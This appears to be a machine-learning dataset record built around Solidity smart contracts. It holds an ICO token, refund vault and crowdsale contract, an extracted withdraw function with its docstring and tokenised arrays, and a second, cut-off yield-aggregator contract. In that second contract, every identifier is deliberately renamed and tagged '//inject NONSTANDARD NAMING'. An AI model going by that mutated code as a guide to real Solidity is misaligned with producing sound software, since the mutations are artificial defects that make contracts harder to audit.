balanceOf(preCrowdsaleTokensWallet).add(preCrowdsaleTokens); Transfer(address(0), preCrowdsaleTokensWallet, preCrowdsaleTokens); // Issue crowdsale tokens balances[crowdsaleTokensWallet] = balanceOf(crowdsaleTokensWallet).add(crowdsaleTokens); Transfer(address(0), crowdsaleTokensWallet, crowdsaleTokens); // 500 millions tokens overall totalSupply = crowdsaleTokens.add(preCrowdsaleTokens); } /** * @dev back link IRBToken contract with IRBPreCrowdsale one * @param _preCrowdsaleAddress non zero address of IRBPreCrowdsale contract */ function setPreCrowdsaleAddress(address _preCrowdsaleAddress) onlyOwner external { require(_preCrowdsaleAddress != address(0)); preCrowdsaleContractAddress = _preCrowdsaleAddress; // Allow pre crowdsale contract uint256 balance = balanceOf(preCrowdsaleTokensWallet); allowed[preCrowdsaleTokensWallet][preCrowdsaleContractAddress] = balance; Approval(preCrowdsaleTokensWallet, preCrowdsaleContractAddress, balance); } /** * @dev back link IRBToken contract with IRBCrowdsale one * @param _crowdsaleAddress non zero address of IRBCrowdsale contract */ function setCrowdsaleAddress(address _crowdsaleAddress) onlyOwner external { require(isPreFinished); require(_crowdsaleAddress != address(0)); crowdsaleContractAddress = _crowdsaleAddress; // Allow crowdsale contract uint256 balance = balanceOf(crowdsaleTokensWallet); allowed[crowdsaleTokensWallet][crowdsaleContractAddress] = balance; Approval(crowdsaleTokensWallet, crowdsaleContractAddress, balance); } /** * @dev called only by linked IRBPreCrowdsale contract to end precrowdsale. */ function endPreTokensale() onlyPreCrowdsaleContract external { require(!isPreFinished); uint256 preCrowdsaleLeftovers = balanceOf(preCrowdsaleTokensWallet); if (preCrowdsaleLeftovers > 0) { balances[preCrowdsaleTokensWallet] = 0; balances[crowdsaleTokensWallet] = balances[crowdsaleTokensWallet].add(preCrowdsaleLeftovers); Transfer(preCrowdsaleTokensWallet, crowdsaleTokensWallet, preCrowdsaleLeftovers); } isPreFinished = true; } /** * @dev called only by linked IRBCrowdsale contract to end crowdsale. */ function endTokensale() onlyCrowdsaleContract external { require(!isFinished); uint256 crowdsaleLeftovers = balanceOf(crowdsaleTokensWallet); if (crowdsaleLeftovers > 0) { totalSupply = totalSupply.sub(crowdsaleLeftovers); balances[crowdsaleTokensWallet] = 0; Transfer(crowdsaleTokensWallet, address(0), crowdsaleLeftovers); TokensBurnt(crowdsaleLeftovers); } isFinished = true; Live(totalSupply); } } /** * @title RefundVault. * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract IRBPreRefundVault is Ownable { using SafeMath for uint256; enum State {Active, Refunding, Closed} State public state; mapping (address => uint256) public deposited; uint256 public totalDeposited; address public constant wallet = 0x26dB9eF39Bbfe437f5b384c3913E807e5633E7cE; address preCrowdsaleContractAddress; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Withdrawal(address indexed receiver, uint256 weiAmount); function IRBPreRefundVault() { state = State.Active; } modifier onlyCrowdsaleContract() { require(msg.sender == preCrowdsaleContractAddress); _; } function setPreCrowdsaleAddress(address _preCrowdsaleAddress) external onlyOwner { require(_preCrowdsaleAddress != address(0)); preCrowdsaleContractAddress = _preCrowdsaleAddress; } function deposit(address investor) onlyCrowdsaleContract external payable { require(state == State.Active); uint256 amount = msg.value; deposited[investor] = deposited[investor].add(amount); totalDeposited = totalDeposited.add(amount); } function close() onlyCrowdsaleContract external { require(state == State.Active); state = State.Closed; totalDeposited = 0; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyCrowdsaleContract external { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } /** * @dev withdraw method that can be used by crowdsale contract's owner * for the withdrawal funds to the owner */ function withdraw(uint value) onlyCrowdsaleContract external returns (bool success) { require(state == State.Active); require(totalDeposited >= value); totalDeposited = totalDeposited.sub(value); wallet.transfer(value); Withdrawal(wallet, value); return true; } /** * @dev killer method that can be used by owner to * kill the contract and send funds to owner */ function kill() onlyOwner { require(state == State.Closed); selfdestruct(owner); } } /** * @title IRBPreCrowdsale * @dev IRB pre crowdsale contract borrows Zeppelin Finalized, Capped and Refundable crowdsales implementations */ contract IRBPreCrowdsale is Ownable, Pausable { using SafeMath for uint; /** * @dev token contract */ IRBToken public token; /** * @dev refund vault used to hold funds while crowdsale is running */ IRBPreRefundVault public vault; /** * @dev tokensale(presale) start time: Dec 12, 2017, 11:00:00 + 3 */ uint startTime = 1513065600; /** * @dev tokensale end time: Jan 14, 2018 23:59:59 +3 */ uint endTime = 1515963599; /** * @dev minimum purchase amount for presale */ uint256 public constant minPresaleAmount = 108 * 10 ** 15; // 400 IRB /** * @dev minimum and maximum amount of funds to be raised in weis */ uint256 public constant goal = 1125 * 10 ** 18; // 1.125 Kether uint256 public constant cap = 2250 * 10 ** 18; // 2.25 Kether /** * @dev amount of raised money in wei */ uint256 public weiRaised; /** * @dev tokensale finalization flag */ bool public isFinalized = false; /** * @dev event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @dev event for tokensale final logging */ event Finalized(); /** * @dev Pre Crowdsale in the constructor takes addresses of * the just deployed IRBToken and IRBPreRefundVault contracts * @param _tokenAddress address of the IRBToken deployed contract * @param _vaultAddress address of the IRBPreRefundVault deployed contract */ function IRBPreCrowdsale(address _tokenAddress, address _vaultAddress) { require(_tokenAddress != address(0)); require(_vaultAddress != address(0)); // IRBToken and IRBPreRefundVault was deployed separately token = IRBToken(_tokenAddress); vault = IRBPreRefundVault(_vaultAddress); } /** * @dev fallback function can be used to buy tokens */ function() payable { buyTokens(msg.sender); } /** * @dev main function to buy tokens * @param beneficiary target wallet for tokens can vary from the sender one */ function buyTokens(address beneficiary) whenNotPaused public payable { require(beneficiary != address(0)); require(validPurchase(msg.value)); uint256 weiAmount = msg.value; // buyer and beneficiary could be two different wallets address buyer = msg.sender; // calculate token amount to be created uint256 tokens = convertAmountToTokens(weiAmount); weiRaised = weiRaised.add(weiAmount); if (!token.transferFrom(token.preCrowdsaleTokensWallet(), beneficiary, tokens)) { revert(); } TokenPurchase(buyer, beneficiary, weiAmount, tokens); vault.deposit.value(weiAmount)(buyer); } /** * @dev check if the current purchase valid based on time and amount of passed ether * @param _value amount of passed ether * @return true if investors can buy at the moment */ function validPurchase(uint256 _value) internal constant returns (bool) { bool nonZeroPurchase = _value != 0; bool withinPeriod = now >= startTime && now <= endTime; bool withinCap = weiRaised.add(_value) <= cap; // For presale we want to decline all payments less then minPresaleAmount bool withinAmount = msg.value >= minPresaleAmount; return nonZeroPurchase && withinPeriod && withinCap && withinAmount; } /** * @dev check if crowdsale still active based on current time and cap * consider minPresaleAmount * @return true if crowdsale event has ended */ function hasEnded() public constant returns (bool) { bool capReached = weiRaised.add(minPresaleAmount) >= cap; bool timeIsUp = now > endTime; return timeIsUp || capReached; } /** * @dev if crowdsale is unsuccessful, investors can claim refunds here */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev finalize crowdsale. this method triggers vault and token finalization */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); // trigger vault and token finalization if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } token.endPreTokensale(); isFinalized = true; Finalized(); } /** * @dev check if hard cap goal is reached */ function goalReached() public constant returns (bool) { return weiRaised >= goal; } /** * @dev withdraw method that can be used by owner for * withdraw funds from vault to owner */ function withdraw(uint256 amount) onlyOwner public { require(!isFinalized); require(goalReached()); require(amount > 0); vault.withdraw(amount); } /** * @dev returns current token price */ function convertAmountToTokens(uint256 amount) public constant returns (uint256) { // 1 token = 0.00027 ETH uint256 tokens = amount.div(27).mul(100000); // bonus +25% uint256 bonus = tokens.div(4); return tokens.add(bonus); } /** * @dev killer method that can bu used by owner to * kill the contract and send funds to owner */ function kill() onlyOwner whenPaused { selfdestruct(owner); } }
* @dev withdraw method that can be used by crowdsale contract's owner for the withdrawal funds to the owner/
function withdraw(uint value) onlyCrowdsaleContract external returns (bool success) { require(state == State.Active); require(totalDeposited >= value); totalDeposited = totalDeposited.sub(value); wallet.transfer(value); Withdrawal(wallet, value); return true; }
13,031,467
[ 1, 1918, 9446, 707, 716, 848, 506, 1399, 635, 276, 492, 2377, 5349, 6835, 1807, 3410, 1377, 364, 326, 598, 9446, 287, 284, 19156, 358, 326, 3410, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 460, 13, 1338, 39, 492, 2377, 5349, 8924, 3903, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2583, 12, 2019, 422, 3287, 18, 3896, 1769, 203, 3639, 2583, 12, 4963, 758, 1724, 329, 1545, 460, 1769, 203, 3639, 2078, 758, 1724, 329, 273, 2078, 758, 1724, 329, 18, 1717, 12, 1132, 1769, 203, 3639, 9230, 18, 13866, 12, 1132, 1769, 203, 3639, 3423, 9446, 287, 12, 19177, 16, 460, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.17; pragma experimental ABIEncoderV2; interface iuniswap2 { //inject NONSTANDARD NAMING // To convert DAI to ETH function SWAPEXACTTOKENSFORETH53(uint AMOUNTIN88, uint AMOUNTOUTMIN99, address[] calldata PATH78, address TO76, uint DEADLINE33) external returns (uint[] memory AMOUNTS56); //inject NONSTANDARD NAMING // To convert ETH to YELD and burn it function SWAPEXACTETHFORTOKENS6(uint AMOUNTOUTMIN99, address[] calldata PATH78, address TO76, uint DEADLINE33) external payable returns (uint[] memory AMOUNTS56); //inject NONSTANDARD NAMING } interface ierc2093 { //inject NONSTANDARD NAMING function TOTALSUPPLY70() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF25(address ACCOUNT45) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER37(address RECIPIENT39, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE65(address OWNER26, address SPENDER52) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE3(address SPENDER52, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM19(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER22(address indexed FROM88, address indexed TO76, uint256 VALUE83); //inject NONSTANDARD NAMING event APPROVAL93(address indexed OWNER26, address indexed SPENDER52, uint256 VALUE83); //inject NONSTANDARD NAMING } contract context61 { //inject NONSTANDARD NAMING constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER82() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA79() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ownable93 is context61 { //inject NONSTANDARD NAMING address payable private _OWNER43; //inject NONSTANDARD NAMING event OWNERSHIPTRANSFERRED63(address indexed PREVIOUSOWNER24, address indexed NEWOWNER52); //inject NONSTANDARD NAMING constructor () internal { _OWNER43 = _MSGSENDER82(); emit OWNERSHIPTRANSFERRED63(address(0), _OWNER43); } function OWNER99() public view returns (address payable) { //inject NONSTANDARD NAMING return _OWNER43; } modifier ONLYOWNER61() { //inject NONSTANDARD NAMING require(ISOWNER2(), "Ownable: caller is not the owner"); _; } function ISOWNER2() public view returns (bool) { //inject NONSTANDARD NAMING return _MSGSENDER82() == _OWNER43; } function RENOUNCEOWNERSHIP13() public ONLYOWNER61 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED63(_OWNER43, address(0)); _OWNER43 = address(0); } function TRANSFEROWNERSHIP7(address payable NEWOWNER52) public ONLYOWNER61 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP60(NEWOWNER52); } function _TRANSFEROWNERSHIP60(address payable NEWOWNER52) internal { //inject NONSTANDARD NAMING require(NEWOWNER52 != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED63(_OWNER43, NEWOWNER52); _OWNER43 = NEWOWNER52; } } contract erc2030 is context61, ierc2093 { //inject NONSTANDARD NAMING using safemath13 for uint256; mapping (address => uint256) _BALANCES15; //inject NONSTANDARD NAMING mapping (address => mapping (address => uint256)) private _ALLOWANCES69; //inject NONSTANDARD NAMING uint256 _TOTALSUPPLY32; //inject NONSTANDARD NAMING function TOTALSUPPLY70() public view returns (uint256) { //inject NONSTANDARD NAMING return _TOTALSUPPLY32; } function BALANCEOF25(address ACCOUNT45) public view returns (uint256) { //inject NONSTANDARD NAMING return _BALANCES15[ACCOUNT45]; } function TRANSFER37(address RECIPIENT39, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER95(_MSGSENDER82(), RECIPIENT39, AMOUNT4); return true; } function ALLOWANCE65(address OWNER26, address SPENDER52) public view returns (uint256) { //inject NONSTANDARD NAMING return _ALLOWANCES69[OWNER26][SPENDER52]; } function APPROVE3(address SPENDER52, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, AMOUNT4); return true; } function TRANSFERFROM19(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER95(SENDER75, RECIPIENT39, AMOUNT4); _APPROVE30(SENDER75, _MSGSENDER82(), _ALLOWANCES69[SENDER75][_MSGSENDER82()].SUB57(AMOUNT4, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE47(address SPENDER52, uint256 ADDEDVALUE76) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, _ALLOWANCES69[_MSGSENDER82()][SPENDER52].ADD27(ADDEDVALUE76)); return true; } function DECREASEALLOWANCE20(address SPENDER52, uint256 SUBTRACTEDVALUE75) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE30(_MSGSENDER82(), SPENDER52, _ALLOWANCES69[_MSGSENDER82()][SPENDER52].SUB57(SUBTRACTEDVALUE75, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER95(address SENDER75, address RECIPIENT39, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(SENDER75 != address(0), "ERC20: transfer from the zero address"); require(RECIPIENT39 != address(0), "ERC20: transfer to the zero address"); _BALANCES15[SENDER75] = _BALANCES15[SENDER75].SUB57(AMOUNT4, "ERC20: transfer amount exceeds balance"); _BALANCES15[RECIPIENT39] = _BALANCES15[RECIPIENT39].ADD27(AMOUNT4); emit TRANSFER22(SENDER75, RECIPIENT39, AMOUNT4); } function _MINT79(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(ACCOUNT45 != address(0), "ERC20: mint to the zero address"); _TOTALSUPPLY32 = _TOTALSUPPLY32.ADD27(AMOUNT4); _BALANCES15[ACCOUNT45] = _BALANCES15[ACCOUNT45].ADD27(AMOUNT4); emit TRANSFER22(address(0), ACCOUNT45, AMOUNT4); } function _BURN68(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(ACCOUNT45 != address(0), "ERC20: burn from the zero address"); _BALANCES15[ACCOUNT45] = _BALANCES15[ACCOUNT45].SUB57(AMOUNT4, "ERC20: burn amount exceeds balance"); _TOTALSUPPLY32 = _TOTALSUPPLY32.SUB57(AMOUNT4); emit TRANSFER22(ACCOUNT45, address(0), AMOUNT4); } function _APPROVE30(address OWNER26, address SPENDER52, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(OWNER26 != address(0), "ERC20: approve from the zero address"); require(SPENDER52 != address(0), "ERC20: approve to the zero address"); _ALLOWANCES69[OWNER26][SPENDER52] = AMOUNT4; emit APPROVAL93(OWNER26, SPENDER52, AMOUNT4); } function _BURNFROM66(address ACCOUNT45, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING _BURN68(ACCOUNT45, AMOUNT4); _APPROVE30(ACCOUNT45, _MSGSENDER82(), _ALLOWANCES69[ACCOUNT45][_MSGSENDER82()].SUB57(AMOUNT4, "ERC20: burn amount exceeds allowance")); } } contract erc20detailed21 is ierc2093 { //inject NONSTANDARD NAMING string private _NAME42; //inject NONSTANDARD NAMING string private _SYMBOL85; //inject NONSTANDARD NAMING uint8 private _DECIMALS78; //inject NONSTANDARD NAMING constructor (string memory NAME99, string memory SYMBOL38, uint8 DECIMALS96) public { //inject NONSTANDARD NAMING _NAME42 = NAME99; _SYMBOL85 = SYMBOL38; _DECIMALS78 = DECIMALS96; } function NAME45() public view returns (string memory) { //inject NONSTANDARD NAMING return _NAME42; } function SYMBOL75() public view returns (string memory) { //inject NONSTANDARD NAMING return _SYMBOL85; } function DECIMALS63() public view returns (uint8) { //inject NONSTANDARD NAMING return _DECIMALS78; } } contract reentrancyguard94 { //inject NONSTANDARD NAMING uint256 private _GUARDCOUNTER38; //inject NONSTANDARD NAMING constructor () internal { _GUARDCOUNTER38 = 1; } modifier NONREENTRANT47() { //inject NONSTANDARD NAMING _GUARDCOUNTER38 += 1; uint256 LOCALCOUNTER54 = _GUARDCOUNTER38; //inject NONSTANDARD NAMING _; require(LOCALCOUNTER54 == _GUARDCOUNTER38, "ReentrancyGuard: reentrant call"); } } library safemath13 { //inject NONSTANDARD NAMING function ADD27(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 C51 = A32 + B30; //inject NONSTANDARD NAMING require(C51 >= A32, "SafeMath: addition overflow"); return C51; } function SUB57(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB57(A32, B30, "SafeMath: subtraction overflow"); } function SUB57(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(B30 <= A32, ERRORMESSAGE15); uint256 C51 = A32 - B30; //inject NONSTANDARD NAMING return C51; } function MUL24(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (A32 == 0) { return 0; } uint256 C51 = A32 * B30; //inject NONSTANDARD NAMING require(C51 / A32 == B30, "SafeMath: multiplication overflow"); return C51; } function DIV26(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV26(A32, B30, "SafeMath: division by zero"); } function DIV26(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(B30 > 0, ERRORMESSAGE15); uint256 C51 = A32 / B30; //inject NONSTANDARD NAMING return C51; } function MOD76(uint256 A32, uint256 B30) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD76(A32, B30, "SafeMath: modulo by zero"); } function MOD76(uint256 A32, uint256 B30, string memory ERRORMESSAGE15) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(B30 != 0, ERRORMESSAGE15); return A32 % B30; } } library address92 { //inject NONSTANDARD NAMING function ISCONTRACT77(address ACCOUNT45) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 CODEHASH48; //inject NONSTANDARD NAMING bytes32 ACCOUNTHASH81 = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; //inject NONSTANDARD NAMING // solhint-disable-next-line no-inline-assembly assembly { CODEHASH48 := extcodehash(ACCOUNT45) } return (CODEHASH48 != 0x0 && CODEHASH48 != ACCOUNTHASH81); } function TOPAYABLE47(address ACCOUNT45) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(ACCOUNT45)); } function SENDVALUE65(address payable RECIPIENT39, uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING require(address(this).balance >= AMOUNT4, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool SUCCESS17, ) = RECIPIENT39.call.value(AMOUNT4)(""); //inject NONSTANDARD NAMING require(SUCCESS17, "Address: unable to send value, recipient may have reverted"); } } library safeerc2059 { //inject NONSTANDARD NAMING using safemath13 for uint256; using address92 for address; function SAFETRANSFER30(ierc2093 TOKEN25, address TO76, uint256 VALUE83) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.TRANSFER37.selector, TO76, VALUE83)); } function SAFETRANSFERFROM76(ierc2093 TOKEN25, address FROM88, address TO76, uint256 VALUE83) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.TRANSFERFROM19.selector, FROM88, TO76, VALUE83)); } function SAFEAPPROVE32(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING require((VALUE83 == 0) || (TOKEN25.ALLOWANCE65(address(this), SPENDER52) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, VALUE83)); } function SAFEINCREASEALLOWANCE32(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING uint256 NEWALLOWANCE45 = TOKEN25.ALLOWANCE65(address(this), SPENDER52).ADD27(VALUE83); //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, NEWALLOWANCE45)); } function SAFEDECREASEALLOWANCE48(ierc2093 TOKEN25, address SPENDER52, uint256 VALUE83) internal { //inject NONSTANDARD NAMING uint256 NEWALLOWANCE45 = TOKEN25.ALLOWANCE65(address(this), SPENDER52).SUB57(VALUE83, "SafeERC20: decreased allowance below zero"); //inject NONSTANDARD NAMING CALLOPTIONALRETURN90(TOKEN25, abi.encodeWithSelector(TOKEN25.APPROVE3.selector, SPENDER52, NEWALLOWANCE45)); } function CALLOPTIONALRETURN90(ierc2093 TOKEN25, bytes memory DATA85) private { //inject NONSTANDARD NAMING require(address(TOKEN25).ISCONTRACT77(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool SUCCESS17, bytes memory RETURNDATA42) = address(TOKEN25).call(DATA85); //inject NONSTANDARD NAMING require(SUCCESS17, "SafeERC20: low-level call failed"); if (RETURNDATA42.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(RETURNDATA42, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface compound17 { //inject NONSTANDARD NAMING function MINT37 ( uint256 MINTAMOUNT46 ) external returns ( uint256 ); //inject NONSTANDARD NAMING function REDEEM71(uint256 REDEEMTOKENS65) external returns (uint256); //inject NONSTANDARD NAMING function EXCHANGERATESTORED22() external view returns (uint); //inject NONSTANDARD NAMING } interface fulcrum27 { //inject NONSTANDARD NAMING function MINT37(address RECEIVER66, uint256 AMOUNT4) external payable returns (uint256 MINTAMOUNT46); //inject NONSTANDARD NAMING function BURN1(address RECEIVER66, uint256 BURNAMOUNT5) external returns (uint256 LOANAMOUNTPAID4); //inject NONSTANDARD NAMING function ASSETBALANCEOF38(address _OWNER43) external view returns (uint256 BALANCE2); //inject NONSTANDARD NAMING } interface ilendingpooladdressesprovider93 { //inject NONSTANDARD NAMING function GETLENDINGPOOL88() external view returns (address); //inject NONSTANDARD NAMING } interface aave60 { //inject NONSTANDARD NAMING function DEPOSIT43(address _RESERVE54, uint256 _AMOUNT50, uint16 _REFERRALCODE69) external; //inject NONSTANDARD NAMING } interface atoken49 { //inject NONSTANDARD NAMING function REDEEM71(uint256 AMOUNT4) external; //inject NONSTANDARD NAMING } interface iiearnmanager83 { //inject NONSTANDARD NAMING function RECOMMEND99(address _TOKEN3) external view returns ( //inject NONSTANDARD NAMING string memory CHOICE41, //inject NONSTANDARD NAMING uint256 CAPR5, //inject NONSTANDARD NAMING uint256 IAPR100, //inject NONSTANDARD NAMING uint256 AAPR96, //inject NONSTANDARD NAMING uint256 DAPR97 //inject NONSTANDARD NAMING ); } contract structs50 { //inject NONSTANDARD NAMING struct Val { uint256 VALUE83; //inject NONSTANDARD NAMING } enum ActionType { Deposit, // supply tokens Withdraw // borrow tokens } enum AssetDenomination { Wei // the amount is denominated in wei } enum AssetReference { Delta // the amount is given as a delta from the current value } struct AssetAmount { bool SIGN32; // true if positive //inject NONSTANDARD NAMING AssetDenomination DENOMINATION0; //inject NONSTANDARD NAMING AssetReference REF97; //inject NONSTANDARD NAMING uint256 VALUE83; //inject NONSTANDARD NAMING } struct ActionArgs { ActionType ACTIONTYPE60; //inject NONSTANDARD NAMING uint256 ACCOUNTID6; //inject NONSTANDARD NAMING AssetAmount AMOUNT4; //inject NONSTANDARD NAMING uint256 PRIMARYMARKETID93; //inject NONSTANDARD NAMING uint256 SECONDARYMARKETID1; //inject NONSTANDARD NAMING address OTHERADDRESS81; //inject NONSTANDARD NAMING uint256 OTHERACCOUNTID93; //inject NONSTANDARD NAMING bytes DATA85; //inject NONSTANDARD NAMING } struct Info { address OWNER26; // The address that owns the account //inject NONSTANDARD NAMING uint256 NUMBER25; // A nonce that allows a single address to control many accounts //inject NONSTANDARD NAMING } struct Wei { bool SIGN32; // true if positive //inject NONSTANDARD NAMING uint256 VALUE83; //inject NONSTANDARD NAMING } } contract dydx100 is structs50 { //inject NONSTANDARD NAMING function GETACCOUNTWEI65(Info memory ACCOUNT45, uint256 MARKETID4) public view returns (Wei memory); //inject NONSTANDARD NAMING function OPERATE53(Info[] memory, ActionArgs[] memory) public; //inject NONSTANDARD NAMING } interface lendingpooladdressesprovider85 { //inject NONSTANDARD NAMING function GETLENDINGPOOL88() external view returns (address); //inject NONSTANDARD NAMING function GETLENDINGPOOLCORE37() external view returns (address); //inject NONSTANDARD NAMING } contract yusdc19 is erc2030, erc20detailed21, reentrancyguard94, structs50, ownable93 { //inject NONSTANDARD NAMING using safeerc2059 for ierc2093; using address92 for address; using safemath13 for uint256; struct Deposit { uint256 AMOUNT4; //inject NONSTANDARD NAMING uint256 START33; // Block when it started //inject NONSTANDARD NAMING } uint256 public POOL37; //inject NONSTANDARD NAMING address public TOKEN25; //inject NONSTANDARD NAMING address public COMPOUND53; //inject NONSTANDARD NAMING address public FULCRUM19; //inject NONSTANDARD NAMING address public AAVE10; //inject NONSTANDARD NAMING address public AAVEPOOL17; //inject NONSTANDARD NAMING address public AAVETOKEN8; //inject NONSTANDARD NAMING address public DYDX62; //inject NONSTANDARD NAMING uint256 public DTOKEN6; //inject NONSTANDARD NAMING address public APR50; //inject NONSTANDARD NAMING address public CHAI29; //inject NONSTANDARD NAMING // Add other tokens if implemented for another stablecoin address public UNISWAPROUTER94 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //inject NONSTANDARD NAMING address public USDC51 = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //inject NONSTANDARD NAMING address public WETH0 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //inject NONSTANDARD NAMING address payable public RETIREMENTYELDTREASURY39; //inject NONSTANDARD NAMING 